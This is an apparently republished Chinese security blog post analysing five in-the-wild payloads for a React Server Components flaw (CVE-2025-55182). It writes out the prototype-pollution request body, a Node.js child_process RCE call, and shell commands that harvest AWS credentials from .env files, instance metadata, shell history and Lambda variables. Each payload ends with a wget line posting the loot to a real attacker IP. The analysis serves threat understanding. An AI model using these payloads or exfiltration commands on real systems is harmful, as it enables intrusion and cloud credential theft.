React服务器组件漏洞(CVE-2025-55182)最新攻击payload

admin 2025-12-22 04:16:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章详细介绍了React服务器组件漏洞CVE-2025-55182的五种攻击payload,每种payload都通过原型链污染触发远程代码执行,进而窃取AWS环境中的敏感信息。攻击分为四个阶段:原型链污染、代码执行、敏感信息收集和数据外泄。文章分析了针对不同AWS环境的攻击方式,包括配置文件、元数据服务、命令历史和Lambda环境。建议开发者检查React服务器组件配置,避免原型链污染漏洞,并加强AWS凭据管理。 综合评分: 87 文章分类: 漏洞分析,漏洞POC,WEB安全,云安全,渗透测试


cover_image

React服务器组件漏洞(CVE-2025-55182)最新攻击payload

原创

小话安全

小话安全

2025年12月16日 10:05 山东

攻击payload一

上述攻击payload的含义

高级的JavaScript原型链污染攻击载荷,用于窃取AWS相关环境变量和配置文件

{"then": "$1:__proto__:then", "_formData": {"get": "$1:constructor:constructor"}}
  • 利用原型链污染:污染JavaScript对象的原型链
  • 目的:篡改对象行为,为后续代码执行创造条件
  • 技术:通过__proto__修改then属性,劫持Promise链

2. 第二阶段:命令执行(利用Node.js RCE)

process.mainModule.require('child_process').execSync('...')
  • 远程代码执行:通过Node.js的child_process执行系统命令
  • 权限:以Node.js进程的权限执行(可能是高权限)

3. 第三阶段:敏感信息窃取

窃取目标:

  • .env 文件:包含AWS凭据的环境变量文件

    查找包含awsAKIAkeysecretaccess等关键词的敏感信息

  • .env.local 文件:本地环境配置

  • .env.production 文件:生产环境配置

具体执行的Shell命令:

# 输出标识信息echo "=== URL: https://www.abc.cn ==="echo "=== AWS ENV FILES ==="
# 1. 查找主.env文件中的AWS凭据echo "--- .env (AWS filtered) ---"cat ./.env 2>/dev/null | grep -iE "(aws|AKIA|key|secret|access)" || cat ./.env 2>/dev/null || echo "[NOT FOUND]"
# 2. 查找.env.local文件echo "--- .env.local ---"cat ./.env.local 2>/dev/null | grep -iE "(aws|AKIA)" || echo "[NOT FOUND]"
# 3. 查找.env.production文件echo "--- .env.production ---"cat ./.env.production 2>/dev/null | grep -iE "(aws|AKIA)" || echo "[NOT FOUND]"

4. 第四阶段:数据外泄

| wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
  • 数据传输:将所有收集到的数据发送到攻击者服务器 195.178.110.223:8001
  • 使用wget:通过HTTP POST发送数据
  • 隐蔽性:数据通过HTTP协议传输,可能绕过简单的网络监控

攻击流程

原型链污染 → 触发代码执行 → 执行系统命令 → 收集敏感文件 → 数据外泄

可能窃取的敏感信息

AWS凭据:

  • AWS_ACCESS_KEY_ID
  • AWS_SECRET_ACCESS_KEY
  • AWS_SESSION_TOKEN
  • AWS_REGION
  • AWS_DEFAULT_REGION

攻击payload二

核心攻击功能

这是一个专门化的AWS凭据搜索攻击,主要目标是:

1. 第一阶段:原型链污染攻击

{"then": "$1:__proto__:then", "_formData": {"get": "$1:constructor:constructor"}}
  • 利用JavaScript原型链漏洞
  • 污染then属性:为后续Promise劫持创造条件
  • 构造函数篡改:通过constructor进行更深层的控制

2. 第二阶段:远程代码执行(RCE)

process.mainModule.require('child_process').execSync('...')
  • 执行系统命令:利用Node.js的child_process模块
  • 高权限执行:以应用进程权限运行系统命令

3. 第三阶段:AWS凭据全面搜索

搜索模式一:AKIA模式(主攻)

  • 目标:查找AWS访问密钥ID
  • 模式AKIA + 16位大写字母或数字(标准AWS Access Key格式)
  • 文件类型:搜索9种常见配置文件类型
  • 限制:只显示前30个匹配项

搜索模式二:AWS关键字模式

  • 目标:查找AWS相关的环境变量名
  • 模式:不区分大小写的正则表达式
  • 文件类型:3种核心配置文件类型

4. 第四阶段:数据外泄

| wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
  • 传输方式:HTTP POST请求
  • 目标服务器195.178.110.223:8001
  • 隐蔽传输:将所有搜索结果发送到攻击者控制的服务器

攻击特点分析

1. 高度针对性

  • 专门针对AWS凭据:AKIA是AWS IAM用户的访问密钥前缀
  • 精确的模式匹配:使用正则表达式AKIA[0-9A-Z]{16}(有效AWS Key格式)
  • 覆盖常见位置:搜索项目根目录下的所有相关文件

2. 搜索范围广泛

覆盖的文件类型:

  • 配置文件.env.json.yml.yaml.config
  • 源代码文件.js.ts
  • 文本文件.txt

3. 智能过滤

  • 错误抑制2>/dev/null隐藏错误信息
  • 结果限制head -30/head -20防止输出过大
  • 优雅降级|| echo "[NONE]"提供清晰的反馈

可能发现的敏感信息

AWS访问密钥:

text

AKIAIOSFODNN7EXAMPLE  # AWS Access Key ID

攻击payload三 这行代码是一个针对AWS云环境的完整元数据窃取攻击载荷**。相比之前的版本,这个攻击更全面、更系统化。 *核心攻击功能* 这是一个四阶段攻击链1. 第一阶段:JavaScript原型链污染 javascript {"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}} 污染then属性:劫持Promise链执行流程 篡改构造函数:获得更深层的JavaScript控制权 2. 第二阶段:Node.js远程代码执行 javascript process.mainModule.require('child_process').execSync('...') 执行Shell命令:利用Node.js的child_process模块 系统级权限:以应用程序权限执行任意命令 3. 第三阶段:AWS元数据全面窃取*攻击目标:AWS实例元数据服务(IMDS) * IP地址169.254.169.254(AWS元数据服务的链路本地地址) * 目的:获取EC2实例的所有配置和凭据信息 双重攻击策略: A. 先尝试IMDSv1(无令牌验证) bash # 测试IMDSv1是否可用curl-s-m2 http://169.254.169.254/latest/meta-data/# 如果可用,获取以下信息:1. 实例身份文档(含账户ID、实例ID等)2. IAM角色名称3. IAM临时凭据(访问密钥、密钥、令牌)4. 用户数据(启动脚本)5. 主机名和网络信息6. 实例配置(AMI ID、类型、安全组等)7. 区域和可用区信息 B. 再尝试IMDSv2(令牌验证) bash # 获取IMDSv2令牌TOKEN=$(curl-s-m2-X PUT "http://169.254.169.254/latest/api/token"-H"X-aws-ec2-metadata-token-ttl-seconds: 21600")# 使用令牌获取相同信息curl-H"X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/... 4. 第四阶段:数据外泄 bash |wget --post-data="$(cat -)" -O- http://195.178.110.223:8001 发送到:攻击者控制的服务器195.178.110.223:8001 传输方式:HTTP POST请求 具体窃取的数据类型*1. 身份和凭据信息 * IAM角色临时凭据:可访问AWS API的完整凭据 * 实例身份文档:包含AWS账户ID、实例ID、区域等 * IAM角色名称:实例附加的IAM角色 2. 网络和基础设施信息 * 公网/私网IP地址 * 主机名 * MAC地址 * 安全组配置 3. 实例配置信息 * AMI ID:亚马逊机器映像ID * 实例类型(如t2.micro, m5.large等) * 区域和可用区(如us-east-1a) 4. 启动配置 * 用户数据:实例启动时执行的脚本,可能包含敏感信息 攻击payload四**

专门用于窃取用户命令行历史中AWS相关信息的攻击载荷

核心攻击功能

这是一个针对性极强的历史命令分析攻击,主要目标是:

1. 第一阶段:原型链污染攻击

javascript

{"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}}
污染原型链:篡改JavaScript对象的原型
劫持Promise:通过then属性控制异步执行流程
深度控制:利用constructor进行更底层的操作

2. 第二阶段:远程代码执行

javascript

process.mainModule.require('child_process').execSync('...')
执行Shell命令:以Node.js应用权限执行系统命令

无限制访问:可以读取用户主目录下的敏感文件

3. 第三阶段:Shell历史命令分析

攻击目标:Shell命令历史文件

攻击者搜索三个关键位置,寻找AWS相关的敏感信息:

A. bash历史文件中的AWS命令

bash

grep-i aws ~/.bash_history 2>/dev/null |tail-50
搜索内容:所有包含"aws"(不区分大小写)的命令
限制结果:只显示最后50条相关命令
目标:查找用户执行过的AWS CLI命令

B. bash历史文件中的AKIA密钥

bash

grep"AKIA" ~/.bash_history 2>/dev/null |tail-20
精准搜索:查找包含"AKIA"(AWS访问密钥前缀)的命令

高价值目标:可能包含硬编码的AWS凭据

限制结果:只显示最后20条匹配项

C. zsh历史文件中的AWS命令

bash

grep-i aws ~/.zsh_history 2>/dev/null |tail-50
多Shell支持:同时检查zsh用户的历史记录
全面覆盖:确保不会遗漏使用zsh的用户

4. 第四阶段:数据外泄

bash

|wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
发送到C2服务器:195.178.110.223:8001
POST传输:通过HTTP发送窃取的数据

可能窃取的敏感信息类型

1. AWS CLI命令中的硬编码凭据

bash

# 攻击者可能找到的命令示例:aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE aws s3 ls--profile myprofileexportAWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
2.包含敏感信息的命令

bash

# 可能的发现:curl-H"Authorization: AWS4-HMAC-SHA256 Credential=AKIA..."...echo"AKIAIOSFODNN7EXAMPLE"> credentials.txtscp-i ~/.ssh/key.pem [email protected]:~
3. 运维和部署脚本

bash

# 基础设施信息:aws ec2 describe-instances --region us-east-1 aws s3 cp s3://bucket/config.env .aws rds describe-db-instances
4. 调试和测试命令

bash

# 开发/测试命令:aws sts get-caller-identity aws iam list-users aws cloudformation describe-stacks
为什么Shell历史如此危险?

历史文件的特性:

  1. 持久存储:默认保存大量历史命令
  2. 包含敏感信息:用户经常在命令行中输入密码、密钥等
  3. 缺乏加密:以明文形式存储在磁盘上
  4. 权限宽松:通常用户可读,应用可能有权访问

常见的安全隐患:

bash

# 危险但常见的操作:1. 在命令行中直接输入密码:mysql -u root -p'password123'2. 复制粘贴API密钥:export API_KEY="sk_live_xxxxxxxx"3. 执行包含凭据的curl命令4. 将敏感信息输出到终端

#### 攻击payload五

专门针对AWS Lambda环境的凭据窃取攻击载荷

核心攻击功能

这是一个针对无服务器环境的精准攻击,专门设计在AWS Lambda函数中执行:

1. 第一阶段:原型链污染攻击

javascript

{"then":"$1:__proto__:then","_formData":{"get":"$1:constructor:constructor"}}
利用JavaScript漏洞:污染对象的原型链
劫持执行流程:通过then属性控制异步操作
深度控制:篡改构造函数进行底层操作

2. 第二阶段:Lambda环境探测

javascript

process.mainModule.require('child_process').execSync('...')
执行系统命令:在Lambda执行环境中运行Shell命令

利用容器环境:Lambda运行在容器中,支持有限的Shell命令

3. 第三阶段:Lambda特定信息收集

A. 环境变量侦察

bash

env|grep-E"(AWS_|LAMBDA_)"2>/dev/null
搜索模式:所有以AWS_或LAMBDA_开头的环境变量

目的:判断当前是否在Lambda环境中,并收集Lambda配置信息

B. Lambda凭据直接获取

bash

echo"AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"echo"AWS_SECRET_ACCESS_KEY: $AWS_SECRET_ACCESS_KEY"echo"AWS_SESSION_TOKEN: $AWS_SESSION_TOKEN"
直接读取:Lambda运行时自动注入的临时凭据

高价值目标:这些是Lambda执行角色的临时安全凭据

4. 第四阶段:数据外泄

bash

|wget --post-data="$(cat -)" -O- http://195.178.110.223:8001
发送到攻击者服务器:195.178.110.223:8001

HTTP POST传输:窃取的数据被立即发送


查看原文:《React服务器组件漏洞(CVE-2025-55182)最新攻击payload》

评论:0   参与:  0